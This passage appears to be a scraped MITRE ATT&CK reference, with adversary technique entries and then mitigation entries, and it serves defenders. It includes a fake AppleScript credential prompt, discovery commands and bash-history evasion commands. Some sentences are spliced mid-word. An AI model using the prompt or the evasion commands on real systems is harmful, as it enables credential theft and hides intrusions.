Detection: Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X
Data Sources: Host network interface, Netflow/Enclave netflow, Network protocol analysis, Packet capture
Links |
Query Registry
Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
The Registry contains a significant amount of information about the operating system, configuration, software, and security.Reg or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: Windows Registry, Process monitoring, Process command-line parameters
Links |
Third-party Software
Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, VNC, HBSS, Altiris, etc.). If an adversary gains access to these systems, then they may be able to execute code.
Adversaries may gain access to and use third-party application deployment systems installed within an enterprise network. Access to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.
The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.
Detection: Detection methods will vary depending on the type of third-party software or system and how it is typically used.
The same investigation process can be applied here as with other potentially malicious activities where the distribution vector is initially unknown but the resulting activity follows a discernible pattern. Analyze the process execution trees, historical activities from the third-party application (such as what types of files are usually pushed), and the resulting activities or events from the file/binary/script pushed to systems.
Often these third-party applications will have logs of their own that can be collected and correlated with other data from the environment. Audit software deployment logs and look for suspicious or unauthorized activity. A system not typically used to push software to clients that suddenly is used for such a task outside of a known admin function may be suspicious.
Perform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X
Data Sources: File monitoring, Third-party application logs, Windows Registry, Process monitoring, Process use of network, Binary file metadata
Links |
Remote File Copy
Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Adversaries may also copy files laterally between internal victim systems to support Windows Admin Shares or Remote Desktop Protocol.
Detection: Monitor for file creation and files transferred within a network over SMB. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as FTP, that does not normally occur may also be suspicious.
Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X
Data Sources: File monitoring, Packet capture, Process use of network, Netflow/Enclave netflow, Network protocol analysis, Process monitoring
Links |
File System Logical Offsets
Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique bypasses Windows file access controls as well as file system monitoring tools.PowerShell, additional logging of PowerShell scripts is recommended.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: API monitoring
Shared Webroot
Adversaries may add malicious content to an internally accessible website through an open network file share that contains the website’s webroot or Web content directory and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured.
This mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited.
Detection: Use file and process monitoring to detect when files are written to a Web server by a process that is not the normal Web server process or when files are written outside of normal administrative time periods. Use process monitoring to identify normal processes that run on the Web server and detect processes that are not typically executed.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: File monitoring, Process monitoring
Links |
Indicator Blocking
An adversary may attempt to block indicators or events from leaving the host machine. In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process or creating a host-based firewall rule to block traffic to a specific server.
Detection: Detect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data.
Depending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: Sensor health and status, Process monitoring, Process command-line parameters
Links |
Input Prompt
When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task. Adversaries can mimic this functionality to prompt users for credentials with a normal-looking prompt. This type of prompt can be accomplished with AppleScript:
<code>set thePassword to the text returned of (display dialog "AdobeUpdater needs permission to check for updates. Please authenticate." default answer "")</code> [[Citation: OSX Keydnap malware]]
Adversaries can prompt a user for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.[[Citation: OSX Malware Exploits MacKeeper]]
Detection: This technique exploits users' tendencies to always supply credentials when prompted, which makes it very difficult to detect. Monitor process execution for unusual programs as well as AppleScript that could be used to prompt users for credentials.
Platforms: MacOS, OS X
Data Sources: User interface, Process Monitoring
Exfiltration Over Physical Medium
In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.
Detection: Monitor file access on removable media. Detect processes that execute when removable media are mounted.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X
Data Sources: Data loss prevention, File monitoring
Links |
System Time Discovery
The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.Net on Windows by performing <code>net time \\hostname</code> to gather the system time on a remote system. The victim’s time zone may also be inferred from the current system time or gathered by using <code>w32tm /tz</code>.Scheduled Task[[Citation: RSA EU12 They’re Inside]], or to discover locality information based on time zone to assist in victim targeting.
Detection: Command-line interface monitoring may be useful to detect instances of net.exe or other command-line utilities being used to gather system time or time zone. Methods of detecting API use for gathering this information are likely less useful due to how often they may be used by legitimate software.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: Process monitoring, Process command-line parameters, API monitoring
Links |
https://www.rsaconference.com/writable/presentations/file%20upload/ht-209%20rivner%20schwartz.pdf |
Execution through Module Load
The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like CreateProcess(), LoadLibrary(), etc. of the Win32 API.[[Citation: Wikipedia Windows Library Files]]
The module loader can load DLLs:
*via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;
*via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);
*via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;
*via <code><file name="filename.extension" loadFrom="fully-qualified or relative pathname"></code> in an embedded or external "application manifest". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.
Adversaries can use this functionality as a way to execute arbitrary code on a system.
Detection: Monitoring DLL module loads may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows modules load functions are common and may be difficult to distinguish from malicious behavior. Legitimate software will likely only need to load routine, bundled DLL modules or Windows system DLLs such that deviation from known module loads may be suspicious. Limiting DLL module loads to <code>%SystemRoot%</code> and <code>%ProgramFiles%</code> directories will protect against module loads from unsafe paths.
Correlation of other events with behavior surrounding module loads using API monitoring and suspicious DLLs written to disk will provide additional context to an event that may assist in determining if it is due to malicious behavior.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: Process Monitoring, API monitoring, File monitoring, DLL monitoring
Contributors: Stefan Kanthak
Links |
https://en.wikipedia.org/wiki/Microsoft%20Windows%20library%20files |
Install Root Certificate
Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root’s chain of trust that have been signed by the root certificate.[[Citation: Wikipedia Root Certificate]] Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.[[Citation: Operation Emmental]]
Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications.[[Citation: Kaspersky Superfish]]
Detection: A system’s root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10
Data Sources: SSL/TLS inspection, Digital Certificate Logs
Contributors: Itzik Kotler, SafeBreach
Links |
https://usblog.kaspersky.com/superfish-adware-preinstalled-on-lenovo-laptops/5161/ |
Data Transfer Size Limits
An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.
Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). If a process maintains a long connection during which it consistently sends fixed size data packets or a process opens connections and sends fixed sized data packets at regular intervals, it may be performing an aggregate data transfer. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X
Data Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring
Links |
Course of Action
ATT&CK Mitigation.
Course of Action is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
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MITRE
Login Item Mitigation
Restrict users from being able to create their own login items. Additionally, holding the shift key during login prevents apps from opening automatically[[CiteRef::Re-Open windows on Mac]].
Component Object Model Hijacking Mitigation
Direct mitigation of this technique may not be recommended for a particular environment since COM objects are a legitimate part of the operating system and installed software. Blocking COM object changes may have unforeseen side effects to legitimate functionality.
Instead, identify and block potentially malicious software that may execute, or be executed by, this technique using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
Exfiltration Over Command and Control Channel Mitigation
Mitigations for command and control apply. Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]
.bash_profile and .bashrc Mitigation
Making these files immutable and only changeable by certain administrators will limit the ability for adversaries to easily create user level persistence.
DLL Injection Mitigation
Mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.
Identify or block potentially malicious software that may contain DLL injection functionality by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
Bypass User Account Control Mitigation
Remove users from the local administrator group on systems. Although UAC bypass techniques exist, it is still prudent to use the highest enforcement level for UAC when possible and mitigate bypass opportunities that exist with techniques such as [[Technique/T1038|DLL Search Order Hijacking]].
Check for common UAC bypass weaknesses on Windows systems to be aware of the risk posture and address issues where appropriate.[[CiteRef::Github UACMe]]
Command-Line Interface Mitigation
Audit and/or block command-line interpreters by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
DLL Search Order Hijacking Mitigation
Use auditing tools capable of detecting DLL search order hijacking opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for DLL hijacking weaknesses.
Identify and block potentially malicious software that may be executed through search order hijacking by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] that are capable of auditing and/or blocking unknown DLLs.
Uncommonly Used Port Mitigation
Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports.
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]
Regsvcs/Regasm Mitigation
Regsvcs and Regasm may not be necessary within a given environment. Block execution of Regsvcs.exe and Regasm.exe if they are not required for a given system or network to prevent potential misuess by adversaries.
Application Deployment Software Mitigation
Grant access to application deployment systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multifactor authentication. Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network. Patch deployment systems regularly to prevent potential remote access through [[Technique/T1068|Exploitation of Vulnerability]].
If the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.
Commonly Used Port Mitigation
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]
Windows Management Instrumentation Mitigation
Disabling WMI or RPCS may cause system instability and should be evaluated to assess the impact to a network. By default, only administrators are allowed to connect remotely using WMI. Restrict other users who are allowed to connect, or disallow all users to connect remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts.[[CiteRef::FireEye WMI 2015]]
Path Interception Mitigation
Eliminate path interception weaknesses in program configuration files, scripts, the PATH environment variable, services, and in shortcuts by surrounding PATH variables with quotation marks when functions allow for them[[CiteRef::Microsoft CreateProcess]]. Be aware of the search order Windows uses for executing or loading binaries and use fully qualified paths wherever appropriate[[CiteRef::MSDN DLL Security]]. Clean up old Windows Registry keys when software is uninstalled to avoid keys with no associated legitimate binaries.
Periodically search for and correct or report path interception weaknesses on systems that may have been introduced using custom or available tools that report software using insecure path configurations[[CiteRef::Kanthak Sentinel]].
Require that all executables be placed in write-protected directories. Ensure that proper permissions and directory access control are set to deny users the ability to write files to the top-level directory <code>C:</code> and system directories, such as <code>C:\Windows\</code>, to reduce places where malicious files could be placed for execution.
Identify and block potentially malicious software that may be executed through the path interception by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies,[[CiteRef::Corio 2008]] that are capable of auditing and/or blocking unknown executables.
Graphical User Interface Mitigation
Prevent adversaries from gaining access to credentials through [[Credential Access]] that can be used to log into remote desktop sessions on systems.
Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to log into remote interactive sessions, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] and Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
NTFS Extended Attributes Mitigation
It may be difficult or inadvisable to block access to EA. Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to hide information in EA by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
Indicator Removal from Tools Mitigation
Mitigation is difficult in instances like this because the adversary may have access to the system through another channel and can learn what techniques or tools are blocked by resident defenses. Exercising best practices with configuration and security as well as ensuring that proper process is followed during investigation of potential compromise is essential to detecting a larger intrusion through discrete alerts.
Identify and block potentially malicious software that may be used by an adversary by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
Clipboard Data Mitigation
Instead of blocking software based on clipboard capture behavior, identify potentially malicious software that may contain this functionality, and audit and/or block it by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
Registry Run Keys / Start Folder Mitigation
Identify and block potentially malicious software that may be executed through run key or startup folder persistence using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
Multi-Stage Channels Mitigation
Command and control infrastructure used in a multi-stage channel may be blocked if known ahead of time. If unique signatures are present in the C2 traffic, they could also be used as the basis of identifying and blocking the channel.[[CiteRef::University of Birmingham C2]]
Hidden Users Mitigation
If the computer is domain joined, then group policy can help restrict the ability to create or hide users. Similarly, preventing the modification of the <code>/Library/Preferences/com.apple.loginwindow</code> <code>Hide500Users</code> value will force all users to be visible.
Data Staged Mitigation
Identify unnecessary system utilities or potentially malicious software that may be used to collect data from removable media, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
Data from Removable Media Mitigation
Identify unnecessary system utilities or potentially malicious software that may be used to collect data from removable media, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
Data from Network Shared Drive Mitigation
Identify unnecessary system utilities or potentially malicious software that may be used to collect data from a network share, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
Account Manipulation Mitigation
Use multifactor authentication. Follow guidelines to prevent or limit adversary access to [[Technique/T1078|Valid Accounts]].
Protect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.
AppleScript Mitigation
Require that all AppleScript be signed by a trusted developer ID before being executed - this will prevent random AppleScript code from executing.
PowerShell Mitigation
It may be possible to remove PowerShell from systems when not needed, but a review should be performed to assess the impact to an environment, since it could be in use for many legitimate purposes and administrative functions. When PowerShell is necessary, restrict PowerShell execution policy to administrators and to only execute signed scripts. Be aware that there are methods of bypassing the PowerShell execution policy, depending on environment configuration.[[CiteRef::Netspi PowerShell Execution Policy Bypass]] Disable/restrict the WinRM Service to help prevent uses of PowerShell for remote execution.
Input Prompt Mitigation
Users need to be trained to know which programs ask for permission and why. Follow mitigation recommendations for [[Technique/T1155|AppleScript]].
System Information Discovery Mitigation
Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about the operating system and underlying hardware, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
Winlogon Helper DLL Mitigation
Upgrade the operating system to a newer version of Windows if using a version prior to Vista.
Limit the privileges of user accounts so that only authorized administrators can perform Winlogon helper changes.
Identify and block potentially malicious software that may be executed through the Winlogon helper process by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] that are capable of auditing and/or blocking unknown DLLs.
Netsh Helper DLL Mitigation
Identify and block potentially malicious software that may persist in this manner by using whitelisting[[CiteRef::Beechey 2010]] tools capable of monitoring DLL loads by Windows utilities like AppLocker.[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]]
Network Share Connection Removal Mitigation
Follow best practices for mitigation of activity related to establishing [[Technique/T1077|Windows Admin Shares]].
Identify unnecessary system utilities or potentially malicious software that may be used to leverage network shares, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
Connection Proxy Mitigation
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific C2 protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]
Hidden Files and Directories Mitigation
Mitigation of this technique may be difficult and unadvised due to the the legitimate use of hidden files and directories.
Office Application Startup Mitigation
Follow Office macro security best practices suitable for your environment. Disable Office VBA macros from executing. Even setting to disable with notification could enable unsuspecting users to execute potentially malicious macros.[[CiteRef::TechNet Office Macro Security]]
For the Office Test method, create the Registry key used to execute it and set the permissions to "Read Control" to prevent easy access to the key without administrator permissions or requiring [[Privilege Escalation]].[[CiteRef::Palo Alto Office Test Sofacy]]
Disable Office add-ins. If they are required, follow best practices for securing them by requiring them to be signed and disabling user notification for allowing add-ins. For some add-ins types (WLL, VBA) additional mitigation is likely required as disabling add-ins in the Office Trust Center does not disable WLL nor does it prevent VBA code from executing.[[CiteRef::MRWLabs Office Persistence Add-ins]]
Bash History Mitigation
There are multiple methods of preventing a user’s command history from being flushed to their .bash_history file, including use of the following commands: <code>set +o history</code> and <code>set -o history</code> to start logging again; <code>unset HISTFILE</code> being added to a user’s .bash_rc file; and <code>ln -s /dev/null ~/.bash_history</code> to write commands to <code>/dev/null</code>instead.
Application Window Discovery Mitigation
Identify unnecessary system utilities or potentially malicious software that may be used to acquire information, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
Private Keys Mitigation
Use strong passphrases for private keys to make cracking difficult. When possible, store keys on separate cryptographic hardware instead of on the local system. Ensure only authorized keys are allowed access to critical resources and audit access lists regularly. Ensure permissions are properly set on folders containing sensitive private keys to prevent unintended access. Use separate infrastructure for managing critical systems to prevent overlap of credentials and permissions on systems that could be used as vectors for lateral movement. Follow other best practices for mitigating access through use of [[Technique/T1078|Valid Accounts]].
Source Mitigation
Due to potential legitimate uses of source commands, it’s may be difficult to mitigate use of this technique.
HISTCONTROL Mitigation
Prevent users from changing the <code>HISTCONTROL</code> environment variable[[CiteRef::Securing bash history]]. Also, make sure that the <code>HISTCONTROL</code> environment variable is set to “ignoredup” instead of “ignoreboth” or “ignorespace”.
External Remote Services Mitigation
Limit access to remote services through centrally managed concentrators such as VPNs and other managed remote access systems. Deny direct remote access to internal systems through uses of network proxies, gateways, and firewalls as appropriate. Use strong two-factor or multi-factor authentication for remote service accounts to mitigate an adversary’s ability to leverage stolen credentials, but be aware of [[Technique/T1111|Two-Factor Authentication Interception]] techniques for some two-factor authentication implementations.
LC_MAIN Hijacking Mitigation
Enforce valid digital signatures for signed code on all applications and only trust applications with signatures from trusted parties.
Pass the Hash Mitigation
Monitor systems and domain logs for unusual credential logon activity. Prevent access to [[Technique/T1078|Valid Accounts]]. Apply patch KB2871997 to Windows 7 and higher systems to limit the default access of accounts in the local administrator group. Limit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary’s ability to perform [[Lateral Movement]] between systems. Ensure that built-in and created local administrator accounts have complex, unique passwords. Do not allow a domain user to be in the local administrator group on multiple systems.
Account Discovery Mitigation
Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about system and domain accounts, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
Trap Mitigation
Due to potential legitimate uses of trap commands, it’s may be difficult to mitigate use of this technique.
Trusted Developer Utilities Mitigation
MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, and cdb.exe may not be necessary within a given environment and should be removed if not used.
Use application whitelisting configured to block execution of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, and cdb.exe if they are not required for a given system or network to prevent potential misuse by adversaries.[[CiteRef::Microsoft GitHub Device Guard CI Policies]][[CiteRef::Exploit Monday Mitigate Device Guard Bypases]][[CiteRef::GitHub mattifestation DeviceGuardBypass]][[CiteRef::SubTee MSBuild]]
Pass the Ticket Mitigation
Monitor domains for unusual credential logons. Limit credential overlap across systems to prevent the damage of credential compromise. Ensure that local administrator accounts have complex, unique passwords. Do not allow a user to be a local administrator for multiple systems. Limit domain admin account permissions to domain controllers and limited servers. Delegate other admin functions to separate accounts.[[CiteRef::ADSecurity AD Kerberos Attacks]]
For containing the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it.[[CiteRef::CERT-EU Golden Ticket Protection]]
Attempt to identify and block unknown or malicious software that could be used to obtain Kerberos tickets and use them to authenticate by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
System Owner/User Discovery Mitigation
Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about system users, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
Credential Dumping Mitigation
